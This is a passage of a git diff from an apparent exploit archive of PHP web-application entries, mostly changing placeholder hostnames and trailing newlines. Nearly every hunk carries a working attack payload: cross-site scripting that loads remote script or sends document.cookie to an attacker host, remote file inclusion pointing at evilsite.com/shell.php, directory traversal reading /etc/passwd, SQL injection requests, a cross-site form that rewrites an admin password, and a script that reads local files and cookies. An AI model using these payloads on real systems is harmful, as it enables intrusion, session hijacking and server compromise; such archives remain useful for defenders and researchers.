+23,4 @@ User Number: <input type="text" name="u" size="5"> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/2968.php b/platforms/php/webapps/2968.php index 2ccb04589..4dd38adeb 100755 --- a/platforms/php/webapps/2968.php +++ b/platforms/php/webapps/2968.php @@ -65,7 +65,7 @@ GAME OVER :) */ //Settings $nick = "Admin"; -$glowna = "http://server/path/"; +$glowna = "http://site.com/path/"; $exploit = "1"; //$exploit = "0"; < exploit off //End Settings diff --git a/platforms/php/webapps/29680.html b/platforms/php/webapps/29680.html index 6d733e89e..cf8ee6431 100755 --- a/platforms/php/webapps/29680.html +++ b/platforms/php/webapps/29680.html @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to execute HTML and script code in Version 1.2.0 is vulnerable; other versions may also be affected. -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <body> <form id="editform" name="editform" method="post" action="http://www.example.com/sqlitemanager/main.php" enctype="multipart/form-data"> <input type="text" name="dbname" value='"><script src=http://www.0x000000.com/x.js></script><"' /> <input type="text" name="dbVersion" value="2" /> <input type="text" name="dbRealpath" value="" /> <input type="text" name="filename" value="" /> <input type="text" name="dbpath" value="" /> <input type="text" name="action" value="saveDb" /> <input name="Save" value="Save page" type="submit"> </form> <script>document.forms[0].submit();</script> </body> </html> \ No newline at end of file +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <body> <form id="editform" name="editform" method="post" action="http://www.example.com/sqlitemanager/main.php" enctype="multipart/form-data"> <input type="text" name="dbname" value='"><script src=http://www.0x000000.com/x.js></script><"' /> <input type="text" name="dbVersion" value="2" /> <input type="text" name="dbRealpath" value="" /> <input type="text" name="filename" value="" /> <input type="text" name="dbpath" value="" /> <input type="text" name="action" value="saveDb" /> <input name="Save" value="Save page" type="submit"> </form> <script>document.forms[0].submit();</script> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/29681.txt b/platforms/php/webapps/29681.txt index 011875c02..d4a606a51 100755 --- a/platforms/php/webapps/29681.txt +++ b/platforms/php/webapps/29681.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l Pagesetter 6.3.0 beta 5 and prior versions are vulnerable to this issue. -http://www.example.com/index.php?module=Pagesetter&type=file&func=preview&id=../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?module=Pagesetter&type=file&func=preview&id=../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/29682.txt b/platforms/php/webapps/29682.txt index d95a6041e..7212b71d1 100755 --- a/platforms/php/webapps/29682.txt +++ b/platforms/php/webapps/29682.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Wordpress 2.1.1 is vulnerable to this issue; other versions may also be affected. -Cookie in an Alert Box: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Clol= %27'></iframe> Cookie send to an Evil Host: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Eimage=document.createElement(%27img%27);im age.src=%27http://www.example.com/datagrabber.php?cookie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27'></iframe> \ No newline at end of file +Cookie in an Alert Box: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Clol= %27'></iframe> Cookie send to an Evil Host: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Eimage=document.createElement(%27img%27);im age.src=%27http://www.example.com/datagrabber.php?cookie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27'></iframe> \ No newline at end of file diff --git a/platforms/php/webapps/29684.txt b/platforms/php/webapps/29684.txt index c3de6c007..e92df7992 100755 --- a/platforms/php/webapps/29684.txt +++ b/platforms/php/webapps/29684.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Version 2.1.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/comment.php?action=deletecomment&p=39&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/wp-admin/page.php?action=delete&post='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E categories.php) http://www.example.com/wp-admin/categories.php?action=delete&cat_ID='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/comment.php?action=deletecomment&p=39&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/wp-admin/page.php?action=delete&post='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E categories.php) http://www.example.com/wp-admin/categories.php?action=delete&cat_ID='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/29694.txt b/platforms/php/webapps/29694.txt index e24c3a759..110b595e4 100755 --- a/platforms/php/webapps/29694.txt +++ b/platforms/php/webapps/29694.txt @@ -4,4 +4,4 @@ Serendipity is affected by an SQL-injection vulnerability because the applicatio Exploiting this vulnerability could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. -POST /serendipity/index.php?frontpage HTTP/1.0 User-Agent: Mozilla/5.0 (SaMuschie) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 67 Connection: close serendipity%5BmultiCat%5D%5B%5D='&serendipity%5BisMultiCat%5D=Go%21 \ No newline at end of file +POST /serendipity/index.php?frontpage HTTP/1.0 User-Agent: Mozilla/5.0 (SaMuschie) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 67 Connection: close serendipity%5BmultiCat%5D%5B%5D='&serendipity%5BisMultiCat%5D=Go%21 \ No newline at end of file diff --git a/platforms/php/webapps/29698.txt b/platforms/php/webapps/29698.txt index 1be58b40f..6bbcfbfef 100755 --- a/platforms/php/webapps/29698.txt +++ b/platforms/php/webapps/29698.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect versions prior to 1.0.3; prior versions may also be affected. -http://www.example.com/[path]/rating.php?nid=[Xss-Script] http://www.example.com/[path]/news.php?nid=[Xss-Script] \ No newline at end of file +http://www.example.com/[path]/rating.php?nid=[Xss-Script] http://www.example.com/[path]/news.php?nid=[Xss-Script] \ No newline at end of file diff --git a/platforms/php/webapps/29702.txt b/platforms/php/webapps/29702.txt index 44f9e50be..65bde37b4 100755 --- a/platforms/php/webapps/29702.txt +++ b/platforms/php/webapps/29702.txt @@ -4,4 +4,4 @@ An attacker compromised the source code for Wordpress 2.1.1 and altered it to in The vendor has acknowledged this vulnerability and recommends that all users who have installed version 2.1.1 upgrade to version 2.1.2 or later. This issue appears limited to the 2.1.1 release. -http://www.example.com/wp-includes/theme.php?iz=cat /etc/passwd \ No newline at end of file +http://www.example.com/wp-includes/theme.php?iz=cat /etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/29705.txt b/platforms/php/webapps/29705.txt index 4d318d9bd..d31706c71 100755 --- a/platforms/php/webapps/29705.txt +++ b/platforms/php/webapps/29705.txt @@ -4,4 +4,4 @@ Tyger Bug Tracking System is prone to multiple input-validation vulnerabilities, Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. -http://www.example.com/Register.php/>">[XSS] \ No newline at end of file +http://www.example.com/Register.php/>">[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/2971.txt b/platforms/php/webapps/2971.txt index e6a0950ca..85a2ccb92 100755 --- a/platforms/php/webapps/2971.txt +++ b/platforms/php/webapps/2971.txt @@ -34,10 +34,10 @@ + -> 15: include ($CFG["localelangdir"] . "global-common.inc.php"); + + Proof Of Concept: -+ http://[target]/[path]/index.php?lang=http://evilserver/shell.php? -+ http://[target]/[path]/common.inc.php?CFG[libdir]=http://evilserver/shell.php? -+ http://[target]/[path]/common.inc.php?CFG[localedir]=http://evilserver/shell.php? -+ http://[target]/[path]/form_header.php?errormsg=1&CFG[localelangdir]=http://evilserver/shell.php? ++ http://[target]/[path]/index.php?lang=http://evilsite.com/shell.php? ++ http://[target]/[path]/common.inc.php?CFG[libdir]=http://evilsite.com/shell.php? ++ http://[target]/[path]/common.inc.php?CFG[localedir]=http://evilsite.com/shell.php? ++ http://[target]/[path]/form_header.php?errormsg=1&CFG[localelangdir]=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-21] diff --git a/platforms/php/webapps/29715.txt b/platforms/php/webapps/29715.txt index 66bc47ad3..d8bc88276 100755 --- a/platforms/php/webapps/29715.txt +++ b/platforms/php/webapps/29715.txt @@ -4,4 +4,4 @@ ePortfolio is prone to a client-side input-validation vulnerability because the An attacker can exploit this issue to perform various attacks that are caused by input-validation vulnerabilities. These may include cross-site scripting attacks, SQL-injection attacks, and possibly others. -http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file +http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/29722.txt b/platforms/php/webapps/29722.txt index c975f26d7..6f44e31d3 100755 --- a/platforms/php/webapps/29722.txt +++ b/platforms/php/webapps/29722.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Version 1.3.1 is vulnerable; other versions may also be affected. -http://www.example.com/Path_Script/createurl.php?formurl=[Shell-Attack] \ No newline at end of file +http://www.example.com/Path_Script/createurl.php?formurl=[Shell-Attack] \ No newline at end of file diff --git a/platforms/php/webapps/2973.txt b/platforms/php/webapps/2973.txt index a14675bf5..158676add 100755 --- a/platforms/php/webapps/2973.txt +++ b/platforms/php/webapps/2973.txt @@ -18,7 +18,7 @@ + -> 24: include($settings[footer]); + + Proof Of Concept: -+ http://[target]/[path]/footer.inc.php?settings[footer]=http://evilserver/shell.php ++ http://[target]/[path]/footer.inc.php?settings[footer]=http://evilsite.com/shell.php +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-21] diff --git a/platforms/php/webapps/29731.txt b/platforms/php/webapps/29731.txt index fd358acfa..df5d605e1 100755 --- a/platforms/php/webapps/29731.txt +++ b/platforms/php/webapps/29731.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to include an arbitrary remote file contain NOTE: Further information reveals that the reported vulnerable parameter is actually a constant, not a variable, so it cannot be controlled by an attacker. Since the application is not vulnerable, this BID is being retired. -http://www.example.com/engine/Ajax/editnews.php?root_dir=[Shell-Attack]k] \ No newline at end of file +http://www.example.com/engine/Ajax/editnews.php?root_dir=[Shell-Attack]k] \ No newline at end of file diff --git a/platforms/php/webapps/29736.txt b/platforms/php/webapps/29736.txt index 5ee0ac921..a6ef3ffc0 100755 --- a/platforms/php/webapps/29736.txt +++ b/platforms/php/webapps/29736.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects version 1.5.3; other versions may also be vulnerable. -http://www.example.com/Path/include/adodb-connection.inc.php?cmd=[Shell-Attack] \ No newline at end of file +http://www.example.com/Path/include/adodb-connection.inc.php?cmd=[Shell-Attack] \ No newline at end of file diff --git a/platforms/php/webapps/29737.txt b/platforms/php/webapps/29737.txt index 5baf40939..c19f89c51 100755 --- a/platforms/php/webapps/29737.txt +++ b/platforms/php/webapps/29737.txt @@ -7,4 +7,4 @@ Exploiting this issue may allow an unauthorized user to view local files on the This issue affects version 0.0.1; other versions may also be affected. -http://www.example.com/[path]/check_vote.php?order=../../../../etc/passwd \ No newline at end of file +http://www.example.com/[path]/check_vote.php?order=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/29742.txt b/platforms/php/webapps/29742.txt index 458908a22..f157b8de1 100755 --- a/platforms/php/webapps/29742.txt +++ b/platforms/php/webapps/29742.txt @@ -4,4 +4,4 @@ Horde IMP Webmail Client is prone to multiple input-validation vulnerabilities, Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. -http://www.example.com/horde/imp/search.php?edit_query=[xss] \ No newline at end of file +http://www.example.com/horde/imp/search.php?edit_query=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29744.txt b/platforms/php/webapps/29744.txt index 761d32bb8..252085af2 100755 --- a/platforms/php/webapps/29744.txt +++ b/platforms/php/webapps/29744.txt @@ -4,4 +4,4 @@ Viper Web Portal is prone to a remote file-include vulnerability because it fail Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/index.php?modpath=http://www.example2.com/evilscript? \ No newline at end of file +http://www.example.com/index.php?modpath=http://www.example2.com/evilscript? \ No newline at end of file diff --git a/platforms/php/webapps/29745.txt b/platforms/php/webapps/29745.txt index 1103cd83e..90959d6bc 100755 --- a/platforms/php/webapps/29745.txt +++ b/platforms/php/webapps/29745.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would execute in the context of the affec This issue affects versions prior to 3.1.4. -http://www.example.com/horde/[Horde_App]/login.php?new_lang=[xss] \ No newline at end of file +http://www.example.com/horde/[Horde_App]/login.php?new_lang=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29747.txt b/platforms/php/webapps/29747.txt index 9e9f610a2..bc456549a 100755 --- a/platforms/php/webapps/29747.txt +++ b/platforms/php/webapps/29747.txt @@ -4,4 +4,4 @@ DirectAdmin is prone to a cross-site scripting vulnerability because the applica An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/CMD_USER_STATS?RESULT='http://example2.com/script.js' \ No newline at end of file +http://www.example.com/CMD_USER_STATS?RESULT='http://example2.com/script.js' \ No newline at end of file diff --git a/platforms/php/webapps/29748.txt b/platforms/php/webapps/29748.txt index 5cbb5fefc..188d9c930 100755 --- a/platforms/php/webapps/29748.txt +++ b/platforms/php/webapps/29748.txt @@ -4,4 +4,4 @@ Holtstraeter Rot 13 is prone to a directory-traversal vulnerability because it f An attacker can exploit this vulnerability to retrieve the contents of arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks. -http://www.example.com/enkrypt.php?datei=../../../../etc/passwd \ No newline at end of file +http://www.example.com/enkrypt.php?datei=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/29755.html b/platforms/php/webapps/29755.html index b3e7c1331..310c830e7 100755 --- a/platforms/php/webapps/29755.html +++ b/platforms/php/webapps/29755.html @@ -5,4 +5,4 @@ password. Exploiting this issue may allow an attacker to gain administrative access to the affected application. Successful exploits will result in a complete compromise of the application. -<html> <title>Guestbara <= 1.2 Change admin login & password exploit by Kacper</title> <table border=0 cellspacing=0 cellpadding=0 align='center'> <form method='post' action='http://127.0.0.1/guestbook_path/admin/configuration.php?action=saveconfig&zapis=ok'><tr> <tr><td width=200>Admin Email</td><td><input type='text' name='admin_mail' class='textfield' value=''></td></tr> <tr><td width=200>Admin Name</td><td><input type='text' name='login' class='textfield' value=''></td></tr> <tr><td width=200>Admin Pass</td><td><input type='password' name='pass' class='textfield' value=''></td></tr> <tr><td colspan=2 align=center> <p> <input type='submit' name='submit' value='Zachowaj'> </p> <p>by Kacper </p> <p>for</p> <p><a href="http://www.rahim.webd.pl/" target="_blank">DEVIL TEAM </a></p></td></tr> </form></table> <p>&nbsp;</p> <p align="center">script download: http://www.hotscripts.pl/produkt-3051.html</p> <p align="center">Greetz @ll DEVIL TEAM </p> </html> \ No newline at end of file +<html> <title>Guestbara <= 1.2 Change admin login & password exploit by Kacper</title> <table border=0 cellspacing=0 cellpadding=0 align='center'> <form method='post' action='http://127.0.0.1/guestbook_path/admin/configuration.php?action=saveconfig&zapis=ok'><tr> <tr><td width=200>Admin Email</td><td><input type='text' name='admin_mail' class='textfield' value=''></td></tr> <tr><td width=200>Admin Name</td><td><input type='text' name='login' class='textfield' value=''></td></tr> <tr><td width=200>Admin Pass</td><td><input type='password' name='pass' class='textfield' value=''></td></tr> <tr><td colspan=2 align=center> <p> <input type='submit' name='submit' value='Zachowaj'> </p> <p>by Kacper </p> <p>for</p> <p><a href="http://www.rahim.webd.pl/" target="_blank">DEVIL TEAM </a></p></td></tr> </form></table> <p>&nbsp;</p> <p align="center">script download: http://www.hotscripts.pl/produkt-3051.html</p> <p align="center">Greetz @ll DEVIL TEAM </p> </html> \ No newline at end of file diff --git a/platforms/php/webapps/29763.php b/platforms/php/webapps/29763.php index bc0f16516..affd0bf97 100755 --- a/platforms/php/webapps/29763.php +++ b/platforms/php/webapps/29763.php @@ -89,7 +89,7 @@ if(count($argv) == 5) echo "| w-Agora Forum 4.2.1 Remote File Upload Exploit |\r\n"; echo "| Treasure Security |\r\n"; echo "| by Treasure Priyamal |\r\n"; - echo "| Usage: php exploit.php server /path/ user pass |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n"; @@ -152,7 +152,7 @@ else echo "| Treasure Security |\r\n"; echo "| by Treasure Priyamal |\r\n"; echo "+---------------------------------------------------------------+\r\n"; - echo "| Usage: php exploit.php server /path/ user pass |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n\n"; } diff --git a/platforms/php/webapps/29766.txt b/platforms/php/webapps/29766.txt index 73f9f7270..d315ae14a 100755 --- a/platforms/php/webapps/29766.txt +++ b/platforms/php/webapps/29766.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica w-Agora 4.2.1 is vulnerable. -http://www.example.com/w-agora/change_password.php?newpasswd1=1&newpasswd2=1&passwd=1&site=hello&userid='"><script>alert(documen t.cookie)</script> \ No newline at end of file +http://www.example.com/w-agora/change_password.php?newpasswd1=1&newpasswd2=1&passwd=1&site=hello&userid='"><script>alert(documen t.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/29775.txt b/platforms/php/webapps/29775.txt index 04b7a0052..b7085c0fd 100755 --- a/platforms/php/webapps/29775.txt +++ b/platforms/php/webapps/29775.txt @@ -8,4 +8,4 @@ Version 2.0 is vulnerable to these issues. http://www.example.com/imageupload_path/login.php?AD_BODY_TEMP=Shell? http://www.example.com/imageupload_path/frontpage.php?AD_BODY_TEMP=Shell? -http://www.example.com/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell? \ No newline at end of file +http://www.example.com/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell? \ No newline at end of file diff --git a/platforms/php/webapps/29776.txt b/platforms/php/webapps/29776.txt index 954fb41ed..115e1753a 100755 --- a/platforms/php/webapps/29776.txt +++ b/platforms/php/webapps/29776.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CcCounter version 2.0 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/cccounter_path/index.php?option=browser&dir=%3Cscript%3Ealert(/Crackers_Child/)%3C/script%3E \ No newline at end of file +http://www.example.com/cccounter_path/index.php?option=browser&dir=%3Cscript%3Ealert(/Crackers_Child/)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/29780.txt b/platforms/php/webapps/29780.txt index c0c2c8acf..c3f73a0a8 100755 --- a/platforms/php/webapps/29780.txt +++ b/platforms/php/webapps/29780.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Mephisto Blog version 0.7.3 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/search?q="/><script>window.location="http://www.example2.com/script.php?data="+document.cookie</script> \ No newline at end of file +http://www.example.com/search?q="/><script>window.location="http://www.example2.com/script.php?data="+document.cookie</script> \ No newline at end of file diff --git a/platforms/php/webapps/29783.txt b/platforms/php/webapps/29783.txt index 2a60ea7ed..528ad1923 100755 --- a/platforms/php/webapps/29783.txt +++ b/platforms/php/webapps/29783.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would run in the context of the affected This issue affects version 0.5; other versions may also be affected. -- ------------------------------------------------------------------------- POC: Local File Reading and Cookie Reading (The HTML entities MUST be used) - ------------------------------------------------------------------------- <script> function read(readfile) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(readfile); var is = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); is.init(file, 0x01, 00004, null); var sis = Components.classes["@mozilla.org/scriptableinputstream;1"] .createInstance(Components.interfaces.nsIScriptableInputStream); sis.init(is); var output = sis.read(sis.available()); alert(output); } read("C:\test.txt"); function getCookies() { var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"] .getService(Components.interfaces.nsICookieManager); var str = ''; var iter = cookieManager.enumerator; while (iter.hasMoreElements()) { var cookie = iter.getNext(); if (cookie instanceof Components.interfaces.nsICookie) { str += "Host: " + cookie.host + "\nName: " + cookie.name + "\nValue: " + cookie.value + "\n\n"; } } alert(str); } getCookies() </script> \ No newline at end of file +- ------------------------------------------------------------------------- POC: Local File Reading and Cookie Reading (The HTML entities MUST be used) - ------------------------------------------------------------------------- <script> function read(readfile) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(readfile); var is = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); is.init(file, 0x01, 00004, null); var sis = Components.classes["@mozilla.org/scriptableinputstream;1"] .createInstance(Components.interfaces.nsIScriptableInputStream); sis.init(is); var output = sis.read(sis.available()); alert(output); } read("C:\test.txt"); function getCookies() { var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"] .getService(Components.interfaces.nsICookieManager); var str = ''; var iter = cookieManager.enumerator; while (iter.hasMoreElements()) { var cookie = iter.getNext(); if (cookie instanceof Components.interfaces.nsICookie) { str += "Host: " + cookie.host + "\nName: " + cookie.name + "\nValue: " + cookie.value + "\n\n"; } } alert(str); } getCookies() </script> \ No newline at end of file diff --git a/platforms/php/webapps/29797.txt b/platforms/php/webapps/29797.txt index 1232991ed..b736619c3 100755 --- a/platforms/php/webapps/29797.txt +++ b/platforms/php/webapps/29797.txt @@ -64,9 +64,9 @@ Google DORK : inurl:ajaxfs.php # Exploit : -# http://server/mybb/ajaxfs.php?tooltip=[sql] +# http://site.com/mybb/ajaxfs.php?tooltip=[sql] -# http://server/mybb/ajaxfs.php?usertooltip=[sql] +# http://site.com/mybb/ajaxfs.php?usertooltip=[sql] ################################# diff --git a/platforms/php/webapps/29805.txt b/platforms/php/webapps/29805.txt index ee27aff61..3133e26fb 100755 --- a/platforms/php/webapps/29805.txt +++ b/platforms/php/webapps/29805.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l Version 0.3.7 Beta is vulnerable; other versions may also be affected. -http://www.example.com/path/404.php?d_private=../../etc/passwd? \ No newline at end of file +http://www.example.com/path/404.php?d_private=../../etc/passwd? \ No newline at end of file diff --git a/platforms/php/webapps/29821.txt b/platforms/php/webapps/29821.txt index 896fabe37..850303c2e 100755 --- a/platforms/php/webapps/29821.txt +++ b/platforms/php/webapps/29821.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Livor 2.5 is vulnerable; other versions may also be affected. -http://www.example.com/path/index.php?page=[XSS] \ No newline at end of file +http://www.example.com/path/index.php?page=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/29825.txt b/platforms/php/webapps/29825.txt index bf15a6c9c..890d10481 100755 --- a/platforms/php/webapps/29825.txt +++ b/platforms/php/webapps/29825.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc UBB.threads 6.1.1 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/ubbthreads.php?Cat=cat&C=' \ No newline at end of file +http://www.example.com/ubbthreads.php?Cat=cat&C=' \ No newline at end of file diff --git a/platforms/php/webapps/29828.html b/platforms/php/webapps/29828.html index b3afb00c2..a0805f9b9 100755 --- a/platforms/php/webapps/29828.html +++ b/platforms/php/webapps/29828.html @@ -13,7 +13,7 @@ DeskPRO 2.0.1 is vulnerable to this issue. Martinelli</a></font><br> <br><br> -<form action="http://server/login.php" method="post"> +<form action="http://target.com/login.php" method="post"> <input type=hidden name="login_form" value="login"> <input type=hidden name="_getvars" value="getvars"> <input type=hidden name="_postvars" value="postvars"> diff --git a/platforms/php/webapps/29829.txt b/platforms/php/webapps/29829.txt index 670da895a..576648d79 100755 --- a/platforms/php/webapps/29829.txt +++ b/platforms/php/webapps/29829.txt @@ -4,4 +4,4 @@ Einfacher Passworschutz is prone to a cross-site scripting vulnerability because An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/?msg=[XSS] \ No newline at end of file +http://www.example.com/?msg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/29830.txt b/platforms/php/webapps/29830.txt index 1d043f216..cadcb09c8 100755 --- a/platforms/php/webapps/29830.txt +++ b/platforms/php/webapps/29830.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include arbitrary remote files containing This issue affects MyNews 4.2.2 and prior versions. -http://www.example.com/include/blocks/week_events.php?myNewsConf[path][sys][index]=[REMOTEFILE]? \ No newline at end of file +http://www.example.com/include/blocks/week_events.php?myNewsConf[path][sys][index]=[REMOTEFILE]? \ No newline at end of file diff --git a/platforms/php/webapps/29833.txt b/platforms/php/webapps/29833.txt index ea7868e9b..6b6cb43ea 100755 --- a/platforms/php/webapps/29833.txt +++ b/platforms/php/webapps/29833.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a These issues affect DropAFew 0.2; prior versions may also be affected. wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*' -http://[target]/calorie/editlogcal.php \ No newline at end of file +http://[target]/calorie/editlogcal.php \ No newline at end of file diff --git a/platforms/php/webapps/29839.txt b/platforms/php/webapps/29839.txt index db7b9ac70..ad2e220e6 100755 --- a/platforms/php/webapps/29839.txt +++ b/platforms/php/webapps/29839.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to 1.2.6 are vulnerable. -http://www.example.com/tools/thememng/index.php?tool_url=[XSS] \ No newline at end of file +http://www.example.com/tools/thememng/index.php?tool_url=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/2984.txt b/platforms/php/webapps/2984.txt index 125c65145..615302bad 100755 --- a/platforms/php/webapps/2984.txt +++ b/platforms/php/webapps/2984.txt @@ -67,8 +67,8 @@ sub usage() { head(); print " Usage: shnews.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to SHNews ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to SHNews ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/29841.txt b/platforms/php/webapps/29841.txt index 5ea11aa32..241524cc5 100755 --- a/platforms/php/webapps/29841.txt +++ b/platforms/php/webapps/29841.txt @@ -7,4 +7,4 @@ An attacker can exploit this vulnerability to retrieve arbitrary files from the This issue affects TopSites 3; other versions may also be vulnerable. http://www.example.com/Path/admin/index.php?page=template&modify=../../../../../../etc/passwd -http://www.example.com/Path/admin/index.php?page=template&modify=inc/config.ini.php \ No newline at end of file +http://www.example.com/Path/admin/index.php?page=template&modify=inc/config.ini.php \ No newline at end of file diff --git a/platforms/php/webapps/29847.txt b/platforms/php/webapps/29847.txt index 73925c653..5f30e3e88 100755 --- a/platforms/php/webapps/29847.txt +++ b/platforms/php/webapps/29847.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br This issue affects phpwebnews 0.1; other versions may also be affected. -http://www.example.com/[path]/bukutamu.php?m_txt=[xss] \ No newline at end of file +http://www.example.com/[path]/bukutamu.php?m_txt=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29854.txt b/platforms/php/webapps/29854.txt index 270064a98..4a78a6a75 100755 --- a/platforms/php/webapps/29854.txt +++ b/platforms/php/webapps/29854.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects BloofoxCMS 0.2.2; other versions may also be vulnerable. -http://www.example.com/[path]/plugins/spaw/img_popup.php?img_url=<script>alert(/the_Edit0r/);</script> \ No newline at end of file +http://www.example.com/[path]/plugins/spaw/img_popup.php?img_url=<script>alert(/the_Edit0r/);</script> \ No newline at end of file diff --git a/platforms/php/webapps/29855.txt b/platforms/php/webapps/29855.txt index 